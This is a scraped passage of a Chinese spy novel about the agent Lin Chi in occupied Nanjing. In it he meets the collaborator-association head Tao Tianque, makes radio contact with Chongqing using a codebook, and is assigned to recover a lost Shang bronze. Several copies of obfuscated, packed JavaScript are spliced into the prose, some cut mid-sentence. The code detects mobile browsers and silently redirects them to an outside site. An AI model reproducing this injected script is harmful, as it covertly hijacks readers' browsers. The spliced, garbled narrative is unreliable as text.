这跨越数千里的空中电波,如果要构建彼此有效的信息传递,则需要一台大功率电台和信息解码系统。对于前者,林赤有能力自制,而后者,就是密码本,已被他收获。万事俱备,东风尚欠,此次任务的执行中虽然忽生变故,但结果有惊无险,可是这羁绊了他,让他几乎不能脱身,所以,由此可见林赤想见锤子的心有多迫切! 走到安全区的西门旁,林赤并未出大门,而是继续北行。 林赤记得,再往前几百米,有个公共厕所。 华侨招待所的两侧所有空地上,搭建着供难民休息的露天帐篷,人流如潮,在靠南边过道的角落里,有一间厕所。 林赤走了进去。 厕所里四面的墙上,均开着通风口,林赤站在小便池的台阶上,踮脚就可以看到外面。 跟踪林赤的,是两个青年男子。 他们看到林赤进了厕所,就分散站在离厕所八九米远的地方,装做若无其事的四处张望。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第50章 会见会长 没有密码本,和重庆的呼叫还得搁置。 林赤决定返回医院。 临行时,林赤想起了陶天阙要求见他的事,便问锤子:“你认识陶天阙吗?” 锤子说:“陶天阙?认识啊,南京城很少有人不知道他,尤其他的赤盟会,更是家喻户晓!他怎么啦?” “他想见我。” “哦?”锤子有些好奇,“他认识你?他找你会有什么事啊?” 林赤便将那天晚上遭到渡边毒打以及陶天阙出现在现场的事情说给他们听了。 钉子说:“听说此人投靠了日本人?还担任了什么南京自救会的会长?” 锤子思索着,说道:“去见见也好,看他到底有什么事?” …… 回到医院,林赤见到了曲思秋。 曲思秋不满地说:“你这一会儿够短的。”她看看表:“足足五个小时哩。” 说完后,曲思秋觉得自己的态度生硬了点,马上柔声道:“还没吃东西吧?” 林赤点头。 “只剩下两个馒头,稀饭没了。” 馒头是用面粉和玉米粉混合调制的,还有余温。 曲思秋给他倒了一杯水。 “你和陶楚歌说一下,我明天去见她爷爷。”林赤咬了一口馒头,边咽边说。 “那我赶紧去和她说一下,趁她还没下班!”曲思秋连忙说道。 说完,一阵风而去。 翌日,上午九点刚过,陶楚歌出现在林赤病房门口,对林赤远远的道:“林先生,我爷爷的车在楼下等你。” 林赤应了一声。 轿车将林赤带到了三元巷。 一栋上下两层的楼房,青砖墙、琉璃瓦。院落占地数百米的。 司机将林赤带进院子。偏房的门口,摆满了盆栽腊梅,一个老者正在侍弄。 老者闻声放下手中的一把小铁铲,朝林赤迎来,嘴里说道:“欢迎林先生光临寒舍。” “寒舍?”林赤打量着眼前这座雅致阔气的院落,心中不禁发笑。 老者正是陶天阙,字松林,南京自救会会长,赤盟会会长。 进入厅堂,马上有人给林赤沏了一杯茶,林赤抿了一口,上好的雨花茶。 老者一直在打量林赤,目光犀利。 “不知陶老先生找我有什么事?”林赤问。 陶天阙道:“林先生的上次劫难,老朽当时也在现场。” 林赤并未作答,埋头喝茶。 陶天阙:“这两天身体恢复得如何?” 林赤回话:“已不碍事。” “我对林先生的铮铮铁骨记忆犹新,淫威之下,还不屈不挠,实在让我钦佩!” “只是皮肉之苦罢了。”林赤说道。 陶天阙:“身体发肤,受之于父母,这皮肉之苦可是连着心的!” “我父母已经不在了。”林赤似乎答非所问。 陶天阙话题一转:“林先生是哪里人?” “上海人。” 陶天阙一声叹息。 林赤开始主动问话:“陶老先生为何叹气?” “上海也好,南京也罢,如今都是国人之痛!”陶天阙神色凄凉,又说:“我中华三大鳌首之城,北平、上海、南京,如今都为东瀛小国侵占……” 林赤:“这么说,陶老先生对抗战前途已希望渺渺?” 陶天阙:“倘若我中华大地上,再多些像林先生这样的铁血青年,那弹丸小国岂能窥觑我一寸河山?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259560|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林赤开始咄咄逼人:“其实,在前些日子,日本人的祭亡灵仪式上,我就见过陶老先生,您还发表过讲话!” 陶天阙:“我本不愿当这个会长,但后来想想,这个会长还必须要有人来当,偌大的南京城,看来也只有我是最合适的人选,我必须尽我微薄之力,来保护我所能保护之人。” 林赤看他说得真心,绝无矫揉造作之嫌,锋芒顿失。 这时却见陶天阙双目炯炯:“林先生是国军哪支部队?” 陶天阙虽年逾六旬,但眉宇间自有一股威严之气,林赤连撒谎的勇气都无。坦然道:“我本是教导总队的一名连长,参与了紫金山阻击战,负伤后被一老乡收留。” “难怪林先生看起来不同凡响,我说嘛,普通百姓方不会有此凛然的阳刚之气的!” 老少二人已无嫌阂,相谈甚欢。 陶天阙话锋一转:“不知林先生住什么地方?” “居无定所,随遇而安。” “林先生怎么称呼?” 林赤想了想说:“我本名林昂,现名林赤。” “都是好名字!”陶天阙夸耀道。 “那之后有何打算?”陶天阙又问。 “相机行事!”林赤回答。 陶天阙:“那我有一建议,林先生以为如何?” “请讲。” “林先生不妨搬到我处,我再给你找件事情做……”稍作停顿,陶天阙意味深长地说道:“我相信我们在很多方面还是志趣相投的!” 林赤此时确实需要一个身份来掩护自己,医院只是养病的过渡期,往来紫金山已不太现实……他思索片刻,毅然道:“好 的,谢过陶老先生!” 这章没有结束,请点击下一页继续阅读! 第51章 空中电波 饭后,陶天阙让司机用车把林赤和陶楚歌送回医院。 上了二楼,走廊上碰见曲思秋,曲思秋好奇地问道:“怎么陶楚歌也在车上?” “她正好回家取东西,我是搭她的车回来的。”林赤边解释边欲回病房,走近曲思秋,曲思秋一皱眉:“你怎么还喝酒了,一身的酒味。” 林赤说道:“陪陶楚歌她爷爷喝了两杯。” “你这身体能喝酒?”曲思秋语气中透着责怪。 “酒能活血通络,再说我也没喝多呀!” 曲思秋:“你呀,就是太自以为是!” 和曲思秋相处数天,加上那夜的牵手,她已不把林赤当外人,言语中更是想啥说啥,这一点林赤比谁都清楚,他也知道眼前的这个女孩是真心为他好。自从痛失双亲后,林赤无论是法国求学还是回国从军,在很多事情方面都是我行我素,有着很强的主见,也不愿被人左右!仿佛是在一夜之间,突然身边多了一个对他嘘寒问暖的人,而且是个和他年龄相若的年轻女孩,一时间,林赤并不习惯,但在他的内心,一种失而复得的温暖感一直洋溢在他的内心,尤其是当晚,当林赤醒来竟发现躺在她的怀里,从那一刻起,在林赤的意识里,这个美丽的女孩就与自己密不可分了,并萌生出保护她一辈子的念头。 林赤脸上充满歉意:“曲医生,我错了,我真的错了!” 曲思秋蓦然间快乐起来:“知错就好!我原谅你了!” 曲思秋转身正想回医生办公室,林赤忽然叫住了她,在她耳边说道:“天黑以后,你把我放在你这边的东西还给我,我夜里要出去,可能就不回病房了睡觉。” 曲思秋想说什么,又咽住,只说道:“路上一定要小心!” …… 病房里已是一片此起彼伏的呼噜声。 林赤借着走廊上投进的亮光看了看腕表,时间已接近零点。 “是时候了!”林赤想。 林赤轻轻爬起,摸索着将曲思秋送回的密码本从床板的垫被下抽出,藏进了那件破旧的大衣内口袋,蹑手蹑脚出了病房。 走廊上空无一人,灯光灰暗,走廊尽头的一间医生办公室似乎还亮着灯。 林赤将窗户开了一半,伸出脑袋,向楼下窥视一番,确信无人后,才悄悄下楼。 马路上空无一人,四周一片寂静。 一条长长的马路上,只点着几盏功率很小的路灯。 深夜时分,马路上寒气逼人,一些死角不见阳光的地方还有未得融化的雪,但此时连同土地已冻得结结实实。 不时有凛冽的风裹起马路上的纸屑,在苍白的灯光下摇曳飞舞。 林赤紧裹着大衣,低着头,快步来到安全区的西大门。 一个闪身,马上消失在苍茫的夜色中。 半个小时后,林赤抵达月息路二十一号。 继续沿着井绳下到密室。 锤子斜卧在沙发上睡觉,身上盖着一条军用毛毯。 一看是林赤,锤子随即爬起,问道:“这么晚你怎么来了?” 林赤说着从内衣里取出密码本,递给锤子:“我把密码本带来了。” 锤子揉揉眼睛,接过密码本,翻了几页,说:“太好了!” 林赤:“我来调试电台。” 锤子:“可是我们的报务员和译报员都不在啊!” “我一个人能行!”林赤说。 锤子马上带林赤进里屋,把桌子收拾干净,抱出收发报机。 “把密码本给我,再给我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259561|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一张纸。” 锤子把密码本给了林赤,拉开抽屉,抽出一张纸,推到林赤面前。 林赤铺开白纸,在上面写下一行字。 然后翻开密码本,对照密码,将这行字译成电报编码。 编译完毕,林赤说道:“你把重庆的电台呼号写给我。” …… 一切准备就绪,林赤关掉头上的那盏四十瓦的电灯,打开桌子上的一盏五瓦的台灯,给电台通上电源,戴好耳机。 拧开电台的电源开关,电台立即发出“斯斯”的电流声。 林赤试着在电键上按了几下。 一串“嘟嘟”的声音马上响起。 调试了一会儿,林赤觉得指法已熟练,便坐直身子,轻轻地按动电键,向重庆发出自己的电台呼号。 然后林赤一边慢慢地转动刻度盘,一边全神贯注地听着重庆的呼号。 不一会儿,林赤从“嗡嗡”的电流声中突然捕捉到了重庆的信号,一刹那,林赤心花怒放。 林赤立即向重庆的电台发出了纸上的那行字:新年呼叫蜂鸟,这里是中国南京! 裹挟着信息的编码,通过空中的电波,瞬息间飞越了千山万水! 陪都重庆的夜一样让人感到迷离。 尤其是在这夜深人静之际,站在歌乐山上眺望这座城市,依旧亮着的灯所剩无几,缥缈的雾气宛如轻纱,绵延在这座城市的上空。 没有风,空气凝重而潮湿。 一栋三层高了公寓楼,没有一间房是亮着灯的。 “叮铃铃、叮铃铃”一串急促的电话铃声忽然响起,在这万籁俱静的子夜时分, 清脆中带着一丝惊悚。 这章没有结束,请点击下一页继续阅读! 第52章 秘密任务 “他果然还活着!”何尚武似乎是在自言自语,又似乎是在对姚学文讲,但声音很低,姚学文并未听清。 何尚武抬起头问姚学文:“我们南京的秘密电台从来不都是直接和2号电台联系的吗?怎么这次……上次开会听说南京的电台功率很小,只有8瓦,不足以呼叫到我们啊……这里面会不会……”何尚武思索着。 姚学文:“这不好说,8瓦的功率虽然不算大,但如果在干扰小的情况下,还有就是他们或许加长了天线,这样做还是有可能联系上我们的!” 何尚武点点头。 姚学文又说:“要不就是他们增加了电台的功率……” 何尚武豁然开朗,兴奋地说:“对,肯定是新年那小子,我记得电讯实验课上,他在三十分钟就改装了一部电台……哈哈,就是他,没错,我居然忘了这小子有这个能力!” “有2号电台的消息吗?”何尚武问。 “还是没有,2号电台已经静默了四天了……会不会出什么事?”姚学文不无担忧地说。 何尚武走到衣架前,从上衣口袋取出一盒烟,夹出一根,点上火,使劲吸了一口。 “呼叫南京,询问——教导一旅二团团长和88师262旅旅长的姓名?回电直接给我,我亲自译电!”何尚武命令道。 “是!”姚学文领命后立即走出办公室。 林赤从耳机中终于听到了来自重庆的呼号。 他快速地抄录。 讯号完毕,林赤立即对照密码本将它译出。 内容是:请报告教导一旅二团团长和88师262旅旅长姓名! 看到这样的内容,林赤一愣,短时间内思绪竟游离起来。 这二人都是林赤非常熟悉和钦佩的人。 朱赤自不用说,收养他的恩人,倾其所有供他留学法国的大哥,虽然已战死沙场,但只要一有闲暇,林赤无不时时想念他;而另一位,也是他尊敬的人,南京中央陆军军官学校的炮兵教官,在对日作战期间,担任了一旅二团团长,他的名字——谢承志! 林赤很快缓过神来,立即将这两个名字译出。 锤子静坐在林赤旁边,他看到了林赤在纸上写的内容,也看到了“谢承志三字”,不经意说道:“谢团长在这次首都保卫战中也牺牲了!” 林赤呆住了,颤抖地问道:“谢团长也牺牲了?!” 锤子无声地点头。 林赤忽然悲从中来,真想放声嚎叫,但还是生生忍住内心翻涌而起的悲痛。 …… 南京很快复电,姚学文将电报稿送了进来! 译出的回电内容是:谢承志、朱赤。 从对方回电的速度和准确程度,何尚武立即判断,这部电台是安全的,而电波的另一端,正是他的得意门生——林赤! “姚科长!”何尚武大声喊道。 “到!”姚学文小跑而至。 “将南京电台重新命名为13号电台!隔离2号电台,一有2号电台的消息,立即通知我!另外,13号电台直接归我指挥,对所有人保密,你姚学文对今天的信息负责到底!” 姚学文从何尚武的脸上看出了命令的严肃性,重重地回了声:“是,何副处长!” 何尚武又说:“你早晨下班后,给特务处张秘书传我命令,让他通知戴处长,说我要求明天上午九时整特务处科级以上干部开会!” …… 重庆方面又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259562|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传来讯息,林赤把电报译文递给了锤子。 锤子一看,是对方将南京这部电台命名为“13”号电台,知道己方已取得了对方的完全信任。 “为什么取13号呢?这是个不吉利的数字啊!”锤子苦笑着问林赤。 “他们这是提醒叫我们不忘国耻,12月13日,是南京沦陷的日子!”林赤脱口回答道。 “嗯……”锤子若有所悟。 林赤补充道:“我想要求重庆方面,把我们以后的通讯往来一律放在夜间一点到四点。” 锤子:“不错的主意,这个时间段,干扰最少,还不容易被敌人发现!” “但愿吧。”林赤又说:“等日本人一切走上正轨就难说了!” 林赤把自己的想法报告了重庆,不一会重庆回电:同意!断绝与2号电台联系。另,于明夜2点发布最新任务,斯时查收,祝安好!蜂鸟! 看到来自重庆的复电,锤子和林赤都长吁了一口气。 和重庆终于构建了一道空中桥梁,从此以后,他们的战斗,不再孤立无援! 远处隐约传来雄鸡的打鸣声。 “天快亮了!”林赤说道。 “是啊,你该睡一会了。”锤子道,“要不就在沙发上凑合一下?这里有毛毯!” 林赤说:“我还是回医院吧!” 林赤想起一件事,说道:“还有一件事我需要汇报一下。” “请讲。” “我昨天去见了赤盟会会长陶天阙,通过我的观察,他应该是个有良知的中国人,并不像外界传言那样。” “哦。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第53章 照相馆 那个身影看到有人出现,又把头埋了下去。 林赤:“池橙和你说什么了?” 曲思秋:“她问我哥有没有来,我说没有呀,她很失望,便央求我带她去找我哥!” “我倒有个主意,她这么无聊,你不妨跟玛丽院长说说,让她去临时诊所帮帮忙,省得无事做胡思乱想的。” “这主意不错,等会儿我就找院长去。” 曲思秋说完,进了办公室,转身却发现林赤还站在走廊上,忙说:“你进来呀。” “不用了,我得出去一下。” 林赤走到走廊尽头,并未直接下楼梯,而是侧过身站在窗户后面,等了几秒钟,透过窗户边的玻璃向对面探望,果然那身影在朝林赤的藏身处窥视,俄顷间扭头走了。 对方真是在监视自己!林赤想,看来日本人不会轻易放过他这条线索! 林赤下到一楼,并未立即出去,而是来见陶楚歌。 陶楚歌见是林赤,有点意外,看林赤站在门前,眼睛看她,但并不问话,就说:“你是找我吗?” 林赤点头。 陶楚歌出了房间,站在林赤身前。 林赤说:“今天,你爷爷在家吗?” “不太清楚,如果不在家,就会在小陶庐,一般他都会在这两个地方,汤山的温泉陶庐他已交给我父母亲打理了,那里以前是国民政府高官云集的地方,自从南京丢了后,现在已是日本人的天下,我爷爷不愿和日本人打交道,就放手不管了,对那里的生意也从不过问……” “小陶庐是什么地方?”林赤问。 “是我爷爷赤盟会的办公地,现在南京自救会的事务,他也在那里处理。林先生是要找我爷爷?” “是的,我感觉身体好多了,不再需要住院,所以……想尽快找份事情做!” “好呀!”陶楚歌笑说道,“你搬过去后,我们就成为邻居啦,我还有好多事情想请教林先生呢!要不我给家里打个电话,看爷爷在不在?你稍等!” 陶楚歌不等林赤回话,就去打电话了。 片刻后,陶楚歌打完电话回来,一见林赤就说道:“爷爷不在家里,去小陶庐了,我让家里的老吴爷爷派车来接林先生。” 林赤忙不迭声道:“那怎么好意思烦扰,我自己过去就可以。” “那怎么行?您是我爷爷的贵客!” “贵客?”林赤苦笑:“我还求您爷爷帮忙找事做呢!” “林先生别多想啦,车一会儿就到了。” “那陶小姐先忙,我去医院大门口等。”林赤说着就往医院大门走去。 “我和你一道,我带你去!” “不用不用!”林赤连忙拒绝。 陶楚歌却不理他,说完先进了办公室,林赤听到她在和什么人请假。 陶楚歌蹦蹦跳跳地从房间出来,跟在林赤身后。 林赤好奇说道:“这么容易就请到假了?现在医院不是挺忙的吗?” “我到这家医院是我爷爷安排的,本来就是帮忙的,不拿一分钱工资。” 三元巷的陶府离应天教会医院并不远,也就十来分钟,一辆车停在了楼下。 司机赶紧下车打开车门,林赤和陶楚歌坐了进去。 上车时,林赤借机看了看四周看了看,果见不远处有个人在盯着他看。 “小姐,我们去哪儿?”司机一边启动车子一边问。 陶楚歌看着林赤,林赤说道:“我们去找会长。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259563|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “去小陶庐。”陶楚歌吩咐司机道。 说是小陶庐,林赤以为充其量最多是一栋装饰奢华的别墅,车到达目的地后,林赤才发现这是个别墅群,占地足有数万平米,前后三进,大门口两只虎虎生威的大石狮怒目圆瞪,院子前后很长,宽敞明亮,两棵百年雪松屹立在院落东西两侧。 进入正堂,十来米高的大门屋檐下方,一块紫檀巨匾上雕刻着三个烫金大字:赤盟会。 院落里有不少人,见到陶楚歌,纷纷含笑招呼。早有人引林赤进了正堂大厅,一位四十来岁的精壮男子让林赤稍坐,径自上楼通报去了。 “让林先生上楼到我办公室坐坐!”林赤听出是陶天阙的声音。 精壮男子从楼梯上快步下来,对林赤做了个请的手势。 上了二楼,东首乃是陶天阙的办公室,林赤推门进去,陶天阙起身相迎。 “欢迎林先生!”陶天阙伸手握住林赤的手。 “陶老还是称呼晚辈名字好了,小小年纪,先生可不敢当!” “那怎么行?林先生是达者,达者为先!” 林赤知道扭转不了他,也不再计较。 陶天阙引林赤入座,指着桌几上的一杯茶对林赤道:“林先生请喝茶,老吴给我打电话说你要来,我就让人把茶给你泡好。” 林赤喝了一口茶,说道:“我想医院已不便再待,想明天就搬过去,特来和陶老招呼一声!” “林先生尽管搬过去好了,房间已让人收拾妥当。” 林赤又说:“还有,搬来后不知陶老先生给我安排了什么事,我想提前探知,好早做准备。” 小主,这个章节后面还 有哦,请点击下一页继续阅读,后面更精彩! 第54章 食人兽计划 这天早晨,原本八点的上班时间,何尚武七点就到了。 和南京的秘密电台建立上联系后,何尚武回到住处,一看时间,已凌晨四点多,后来他就再无睡意。 他关上灯,靠在沙发上,一根接一根地抽烟,直到把一大半盒烟抽光。 何尚武满脑思考的,就是“食人兽”计划接下来如何运作,它的走向又如何能做到脉络鲜明? 当最高统帅蒋校长给他们特务处下达命令后,戴处长就连夜给他们开了会,会上,戴处长命令“食人兽”计划由他何尚武全权负责。说实话,直到现在,他都不知道如何去完成。 任何一件任务,如果连指挥官都没有清晰的思路,那么,还如何指望任务的圆满达成? 完全寄希望于下属的命令连何尚武自己都觉得苍白无力! 但蒋校长的这次命令是在他本人气急败坏、大发雷霆时下达的,当他听闻这件事情发生后,连骂三个“娘希匹”,亲自打电话把戴处长叫道身边,撂下一句狠话:“我给你们一个月时间,这件事情完成不了,我看你们特务处该解散了!” 这么决绝的狠话,蒋校长很少说,作为登顶权力之巅的一名大国政治家,说话是一门极深的艺术,而这样毫无退路和不留余地的讲话蒋校长很少抛出,由此可见,任务之分量重如泰山啊! 而时间也很有限,只给了他们一个月!城市是他们熟悉的城市——曾经的国民政府首都南京,然而时过境迁、物是人非,往昔再熟悉不过的南京已深陷于另一种完全陌生的格局!最为关键的,在南京沦陷后,他们对这座城市已鞭长莫及,心有余而力不足。 想起“食人兽”计划,何尚武满脑立即浮现出那尊他并未亲眼所见的“食人虎兽尊”,据说,整个政府高层,得以一睹它的真容者寥寥无几,这就给了所有未见其真身的任务执行者留下了太多的怪异的想象空间! 更要命的是,竟然连一张关于它的照片都没有。 只留下了一些有关它信息的精华:“食人虎兽尊”,通高37·9厘米,是中国商代晚期的青铜器珍品,造型取踞虎与人相抱的姿态,立意奇特。出土于湖南,纹饰繁缛,以人兽为主题,表现思想怪异,究竟是要表现老虎吃人的凶猛,还是人兽和谐的天人合一,历来众说纷纭,但可以确定的是,商代青铜器中再没有比这件更奇异复杂的了。 它是华夏青铜器文化精品中的代表作,也是该文化的最有力的象征和传承! 正因为它表现思想的灵异,蒋校长一直视它为“镇国之宝”,锦藏于他的南京中央陆军军官学校的总统官邸。但在他心目中,到底是取自于老虎食人之凶猛,还是天人合一之和谐?只有他本人知道。 但就是这样一件旷世奇物,在南京撤退期间,居然有人忘了将它带走。主事者后来解释,他只是把它当做是一件普通的办公吉祥物,加上惶急的迁都,不知是将它忽略了还是将它忘了! 戴处长接到的命令,就是不惜一切代价拿回这件奇世异宝! 何尚武接到的命令,就是不惜一切代价拿回这件奇世异宝! 此计划,由戴处长亲自命名——食人兽计划! 可是现今,它还在不在南京?在南京哪里?日本人有没有发现它的价值?……这一切都无从知晓。 何尚武再无睡意,想着想着,不觉天色已大亮,干脆就直接前往望龙门湖南公馆的特务处上班去了! 此时八点刚过,张秘书匆匆前来。 “报告,处长要求所有参会者前往罗家湾19号开会!” 罗家湾19号花园公馆,特务处机要室的会议大厅。 特务处十多位科级 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259564|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以上干部全都云集于此。 九点刚过,戴处长出现。所有人立即起立。 “请坐!”戴处长面色阴沉地说道。 “我想知道食人兽计划的相关情况。”戴处长开门见山。 “新年同志目前已就位,正在等待我们进一步指示!”何尚武率先讲话。 “新年?”戴处长在脑中思索着这个人。 “新年同志您见过的,还亲自找他谈过话。”何尚武提醒道。 “哦,我想起来了……”戴处长眼光依旧平静,看不出喜怒,“下一步棋,该如何走呢?”戴处长询问的眼光看着何尚武。 “我们是直接通过电台发布任务还是启用上海的情报站?”何尚武请示到。 “你认为呢?” “电台发布虽然快捷,但……” “你是怕不安全?”戴处长打断何尚武。 “是的,还有就是不太容易把命令表述清楚!” “立即启用上海情报站,全力配合此次‘食人兽计划’!”戴处长几乎不加思考地说道! “是!”何尚武又问:“您的意思是通过上海情报站来发布此次任务?会不会舍近求远?” “‘食人兽计划’是个高机密的任务,所有的环节知道得人越少越好,电台发布固然快捷,但万一被日本人破获,将给我们计划的顺利完成增加了数倍的难度,本计划成功的关键就在于计划本身的机密程度,一旦日本人了解了我们的计划内容,想追回国宝,那 比登天还难!”戴处长威严地扫视了一圈所有参会人员,接着道:“马上成立南京情报站,任命锤子同志为站长,新年同志为副站长兼行动处处长,钉子同志为行动处副处长!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第55章 捎带的任务 锤子亲自把林赤送出密室。 林赤抓住井绳,升上地面。 林赤刚想和锤子道别,锤子说道:“你等我一下。”说完也拽着绳子爬上地面。 黑暗中,锤子握住了林赤的手,很用力。 “新年同志,此去上海,波诡云谲,你多保重!” 林赤以为锤子有什么事吩咐,话一出,才知他特地是为自己亲自送行,心中感动,也道:“锤子大哥,你也多保重!” 眼睛逐渐适应了黑暗的环境,借着微弱的星光,林赤看到锤子在使劲地点头。 半小时后,林赤来到了三元巷。 陶府的大门紧闭,大门里亮着一盏灯,林赤看到门边上垂着一根麻绳,猜想一定是用来叫门用的,轻轻一拉,果然门内房间内响起一串铃铛声。 很快有脚步声急促而至,接着门内出现了一个老妪的声音:“谁呀?” “我叫林赤……”林赤刚想解释,门嘎吱一声开了,探出一个六十多岁的老妪的脸,“您就是林先生?老吴特地吩咐我,说您有可能夜里前来投宿!” 林赤跨进大门,道一声谢谢。 老妪接着说:“我怕您回来看不见,灯都没关……我带您去您的房间。” 老妪重新关上大门,上了门栓。 “打扰到您休息了,真不好意思。”林赤表示歉意。 “不不,林先生千万别见外,以后有什么需要您尽管讲!” 进了东侧的厢房,老妪打开电灯。 房间收拾得干干净净,床前一张柞木八仙桌,上面摆放着一把青瓷茶壶,四只茶杯环绕一周。八仙桌旁的木架上搁着搪瓷脸盆,还有洗漱用品,木架的木头横档上挂着一条崭新的毛巾。 “被子和被褥都是新的,枕头也是新换的。”老妪补充道,“林先生如果要洗脸或洗脚的话,水瓶里还有热水。” “好的,我这边没什么事了,您去休息吧!” 林赤送走老妪,倒了些热水将脸洗了,再用洗脸水把脚也洗了。 脱衣上床,被子里有股太阳的味道,林赤心满意足地睡去。 天亮后醒来,林赤听到院子里传来一阵啁啾的鸟鸣,推开房门,一阵馨馥的腊梅香气扑鼻而来。 陶天阙已经起床,正在侍弄鸟笼里的几只小鸟。 “陶老先生早!”林赤向陶天阙问安。 “林先生也早啊!”陶天阙转头看是林赤,跟着说道。“住的还习惯吗?” “很好很好!” “马上早餐就好了,林先生洗漱后和我们一起用餐。” 林赤哦了声,看到陶天阙笼中的鸟个头小,形似画眉,心中好奇,便问:“这是画眉吗?” 陶天阙马上回答道:“这是黑领噪鹛,属于画眉科,去年一个爱鸟的朋友从幕府山捕来送我的。” 这时老吴走来,见到林赤,欠身打了个招呼,再对陶天阙说道:“老爷,可以用早餐了。” 进了餐厅,早点已上齐。 陶天阙招呼林赤入座,自己也坐下。 “怎么,楚歌还没起床吗?她以为不用上班就开始睡懒觉了?” 正说着,楼上传来陶楚歌的声音:“起来了,起来了,马上好了。” 接着一阵脚步声传来,陶楚歌从楼上快步下来,嘴里抱怨道:“爷爷你也真是的,连个懒觉也不让我睡!” 陶楚歌看到林赤,笑着问候道:“林先生早呀!” “陶小姐早!”林赤起身朝陶楚歌点了点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259565|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你以为你父母不在,爷爷就管不了你啦!从明天起,六点钟起床,起床后先陪爷爷遛鸟,不去医院上班不是让你闲在家里,记住了,你也是大姑娘了,临时诊所的事,你要帮爷爷担当起来!” “是,爷爷,楚歌知道了!”陶楚歌走到陶天阙身后,对林赤做了个鬼脸。 正吃着,电话铃忽然响了。 老吴急忙上前,拿起电话,听了几句,把电话摘下,用手掌捂住话筒,无奈地说:“日本话,我听不懂,” “我来!”陶楚歌赶紧起身跑过去,从老吴手里接过话筒,听了几句后对陶天阙道:“爷爷,是松机关打来找您的。” 陶天阙拿起电话用日语和对方交流起来。 “怎么,楚歌小姐会日语?”乘陶楚歌入座之际,林赤诧异地问道。 “怎么,林先生想学日语?”陶楚歌嬉笑着说。 “如果陶小姐肯教我,我还是不介意多掌握一门外语的。” “如果林先生肯叫我声‘陶老师’,我还是不介意多收你这个学生的。”陶楚歌反讥道。 正说着,陶天阙已接好电话,返身入座,埋头喝粥,一言不发。 “爷爷,他们找你什么事?” “还不是良民证的事?那个黑木问我照相馆准备得怎么样了,他说现在良民证的颁发遇到很大的困难,大多数人都没有免冠照片。” 早饭后,林赤回到房间,不一会儿,陶楚歌跟着走进房间。 “林先生是不是真心想学日语?” 林赤认真点头。 “那好,我去拿书,我们从语法开始!”陶楚歌说完走了出去。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第56章 筹粮 这天早晨,黑木夹着公文包,一脚踏进憩庐,就看到电讯股股长稻田勇从二楼的楼梯上匆匆下来。 稻田勇和黑木一样,都是在憩庐的二楼起居。 